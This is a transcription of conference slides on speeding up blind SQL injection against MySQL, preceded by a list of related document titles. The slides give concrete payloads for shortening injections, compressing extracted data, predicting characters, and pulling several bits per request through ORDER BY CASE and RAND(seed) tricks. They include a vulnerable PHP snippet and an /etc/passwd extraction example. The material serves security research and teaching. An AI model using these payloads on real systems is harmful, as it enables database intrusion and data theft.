Louis <louis@securusglobal.com> Luke <luke@securusglobal.com>



Similar documents
WEB FOR PENTESTER II By Louis Nyffenegger

Advanced PostgreSQL SQL Injection and Filter Bypass Techniques

SQL INJECTION TUTORIAL

SQL injection: Not only AND 1=1. The OWASP Foundation. Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd

SQL Injection. SQL Injection. CSCI 4971 Secure Software Principles. Rensselaer Polytechnic Institute. Spring

IP Application Security Manager and. VMware vcloud Air

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

1. Building Testing Environment

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Penetration Testing with Kali Linux

Exposed Database( SQL Server) Error messages Delicious food for Hackers

Easy Method: Blind SQL Injection

BLIND SQL INJECTION (UBC)

Web Application Attacks And WAF Evasion

How I hacked PacketStorm ( )

SQL Injection Optimization and Obfuscation Techniques

ODTUG - SQL Injection Crash Course for Oracle Developers

White Paper. Blindfolded SQL Injection

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

XPath Injection Attacks Of the Awesome Advanced Automated Kind. Paul Haas Kiwicon 7

A basic create statement for a simple student table would look like the following.

A Brief Introduction to MySQL

Black Hat Briefings USA 2004 Cameron Hotchkies

Serious Threat. Targets for Attack. Characterization of Attack. SQL Injection 4/9/2010 COMP On August 17, 2009, the United States Justice

Attack and Penetration Testing 101

Automated vulnerability scanning and exploitation

SQL. Short introduction

Application Security Testing. Generic Test Strategy

Introduction to SQL for Data Scientists

Using Foundstone CookieDigger to Analyze Web Session Management

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

The Anonymous attack on HBGary. Jarib Rahman March 19 th, 2012

How to hack a website with Metasploit

Non-Obvious Bugs by Example

The Art of Exploiting Logical Flaws in Web Apps. Sumit sid Siddharth Richard deanx Dean

Webapps Vulnerability Report

Cloud Security Through Threat Modeling. Robert M. Zigweid Director of Services for IOActive

Database Design Patterns. Winter Lecture 24

CS 161 Computer Security

Learn Ethical Hacking, Become a Pentester

Once the schema has been designed, it can be implemented in the RDBMS.

Mul$media im Netz (Online Mul$media) Wintersemester 2014/15. Übung 03 (Nebenfach)

Practical Identification of SQL Injection Vulnerabilities

PHP Magic Tricks: Type Juggling. PHP Magic Tricks: Type Juggling

Cyber Security Challenge Australia 2014

SQL Injection in web applications

SQL Injection January 23, 2013

Using Nessus In Web Application Vulnerability Assessments

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

Data Breaches and Web Servers: The Giant Sucking Sound

CSCI110 Exercise 4: Database - MySQL

Concepts Design Basics Command-line MySQL Security Loophole

Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0

Attack Frameworks and Tools

What? Me, Worry? I've Already Been Hacked. Haven't You?

Need for Database Security. Whitepaper

Maintaining Stored Procedures in Database Application

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

INTRUSION PROTECTION AGAINST SQL INJECTION ATTACKS USING REVERSE PROXY

Big data is like teenage sex: everyone talks about it, nobody really knows how to do it, everyone thinks everyone else is doing it, so everyone

Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

Automating SQL Injection Exploits

Vulnerability Assessment and Penetration Testing

Laboratory Manual. for CYBER SECURITY ( ) Bachelor of Engineering SEM V

Some Notes on Web Application Firewalls

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

Advanced SQL Injection

Penetration Testing Report Client: Business Solutions June 15 th 2015

Admin Guide Product version: Product date: November, Technical Administration Guide. General

Blindfolded SQL Injection. Written By: Ofer Maor Amichai Shulman

A table is a collection of related data entries and it consists of columns and rows.

A SQL Injection : Internal Investigation of Injection, Detection and Prevention of SQL Injection Attacks

Web Application Firewall Profiling and Evasion. Michael Ritter Cyber Risk Services Deloitte

Developing Web Applications for Microsoft SQL Server Databases - What you need to know

SQL Server Table Design - Best Practices

Detecting (and even preventing) SQL Injection Using the Percona Toolkit and Noinject!

Hacker Intelligence Initiative, Monthly Trend Report #4

CHAPTER 5 INTELLIGENT TECHNIQUES TO PREVENT SQL INJECTION ATTACKS

Adding Value to Automated Web Scans. Burp Suite and Beyond

Securing and Accelerating Databases In Minutes using GreenSQL

How To Create A Table In Sql (Ahem)

Creation of Pentesting Labs

Time-Based Blind SQL Injection using Heavy Queries A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool

Still Aren't Doing. Frank Kim

CTF Web Security Training. Engin Kirda

Security Awareness For Server Administrators. State of Illinois Central Management Services Security and Compliance Solutions

DIPLOMA IN WEBDEVELOPMENT

METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION DMITRY EVTEEV

RECURSIVE COMMON TABLE EXPRESSIONS DATABASE IN ORACLE. Iggy Fernandez, Database Specialists INTRODUCTION

WHITEPAPER. Nessus Exploit Integration

Transcription:

Louis <louis@securusglobal.com> Luke <luke@securusglobal.com>

SELECT user FROM mysql.user LIMIT 2 Security consultants working for Securus Global in Melbourne Have done/are doing a lot a web pentesting Research focus on web security: Web Attacks Web Application Scanners (WAS) testing Web Application Firewall (WAF) testing (In)Secure coding

Why do we want to optimize SQL Stealth injections? Retrieving a large amount of data Being faster Because you re bored using sqlmap Because it s fun

What can be optimized? Length of the injection Number of requests to retrieve information Optimize retrieval strategy Optimizations on information

Reducing injection length (MySQL) SUBSTR() instead of SUBSTRING() MID() instead of SUBSTR() Using CRC32() Instead of using the long string you replace it with the CRC32

Reducing injection length (MySQL) SELECT@@version instead of SELECT VERSION() &&1 instead of AND 1=1 &1 instead of &&1 1 instead of OR 1=1 1 instead of 1 (fails for NULL 1)

Reducing injection length (MySQL)!id instead of id=0 > instead of <= (don t forget to swap the

String Retrieval LENGTH('admin') = 5 5 * 7 bits = 35 requests LENGTH(COMPRESS('admin')) = 17 17 * 7 bits = 119 requests

Original vs Compressed Based on CVE allitems.txt about 47,000 VARCHAR(1000) SELECT ROUND(AVG( LENGTH(COMPRESS(SUBSTRING( text,1,n ))) )) FROM texts

How to get 80 characters? SELECT COMPRESS(CONCAT_WS(':', id,name,age,address,password )) FROM users SELECT GROUP_CONCAT(user,password) FROM users; 1024 Character limit

Hash Retrieval LENGTH(MD5('X')) = 32 32 * 7 bits = 224 requests LENGTH(COMPRESS(MD5('X')) = 44 44 * 7 bits = 308 requests

Hash Retrieval Hash keyspace [0-9a-f] LENGTH(UNHEX(MD5( X ))) = 16 Need to retrieve all 8 bits 16 x 8 bits = 128 requests

Integer Retrieval 131 3 x 7bits 131 8 bits Dichotomy search Use CONV()

Improving Detection AND 1=0 -- AND 1=0 -- AND 1=0 -- AND 1=0 -- AND 1=0 -- AND 1=0 -- AND 1=0 -- AND 1=0 -- AND 1=0 -- Really good payload to detect SQL injection in one request

Data prediction

Using Markov Given the current characters what is the next character most likely going to be Learning from a list of table names, column names and data to get a model of the data For each request check if the character is the one predicted before trying to retrieve his 7 bits

Tree Based on the information already retrieved guess the next characters For example if I already retrieved RUX, the next character is likely to be C for RUXCON And if you don t have anything in your tree matching, you can use markov

Tree learning process

Tree learning process

Guessing process You already have RU

Statistics No optimisation: 3345 Markov: 3102 Markov + Lowercase: 3006 Markov + Lowercase + Tree: 1166 Updating the tree when retrieving information can be used as well, but not always effective

Maximising information retrieved for each request

Vulnerability $o = $_GET['order']; $sql = 'SELECT * FROM users'; $sql.= 'ORDER BY '; $sql.= mysql_real_escape_string($o); $result = mysql_sql($sql);

Exploitation Slow brute force: Blindly check each character against the alphabet A bit better: IF (ASCII(substring((select @@version),1,1))&1, id, name) IF (ASCII(substring((select @@version),1,1))&2, id, name) IF (ASCII(substring((select @@version),1,1))&4, id, name) IF (ASCII(substring((select @@version),1,1))&8, id, name) IF (ASCII(substring((select @@version),1,1))&16, id, name) IF (ASCII(substring((select @@version),1,1))&32, id, name) IF (ASCII(substring((select @@version),1,1))&64, id, name) IF (ASCII(substring((select @@version),2,1))&1, id, name)

Exploitation Blind SQLi: 2 states We can do better... Let say we have 4 columns: => 4 states order by can sort by multiple columns: order by firstname, lastname => more states (8 if lucky) Color Blind SQLi (copyright Nicolas Collignon)

Exploitation For each combinations of order by: fingerprint the response (with cast for id) md5 for global warming SQL has a case statement: CASE (ASCII(substring((select @@version),1,1))&4) WHEN 0 then column1 WHEN 1 then column2 WHEN 2 then column3 WHEN 3 then column4 END

Exploitation ## Retrieving ----XXXX CASE (ASCII(substring((select @@version),1,1))&3) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC, CASE ((ASCII(substring((select @@version),1,1))&12)>>2) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC ## Retrieving XXXX---- CASE ((ASCII(substring((select @@version),1,1))&48)>>4) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC, CASE ((ASCII(substring((select @@version),1,1))&192)>>6) when 0 then id when 1 then name when 2 then age when 3 then groupid END ASC Securus Global 2010

Exploitation SELECT id,username FROM users id username 1 admin 2 moderator 3 guest

Exploitation SELECT id,username FROM users ORDER BY RAND() id username 2 moderator 1 admin 3 guest

Exploitation SELECT id,username FROM users ORDER BY RAND() id username 3 guest 2 moderator 1 admin

Exploitation SELECT id,username FROM users ORDER BY RAND(1) id username 3 guest 1 admin 2 moderator

Exploitation SELECT id,username FROM users ORDER BY RAND(1) id username 3 guest 1 admin 2 moderator

Exploitation RAND seed Order of id 0 1,2,3 1 3,1,2 2 2,3,1 3 3,2,1 4 1,2,3

Exploitation RAND seed Order of id Bits 0 1,2,3 00 1 3,1,2 01 2 2,3,1 10 3 3,2,1 11

Exploitation RAND( CONV( CONCAT( IF((true/false),0,1), IF((true/false),0,1) ),2,10 ) )

Exploitation

Statistics Rows Bits 2-6 1 7 5 8 5 9 9 10 11 11 12 12 13 13 17

Real World Scenario 7 rows Can retrieve 5 bits per request 1830 characters (14640 bits) in /etc/passwd Retrieve with 2930 requests 740 characters for compressed /etc/passwd Retrieved with 1186 requests

Source available tomorrow at: https://github.com/lukejahnke

Questions?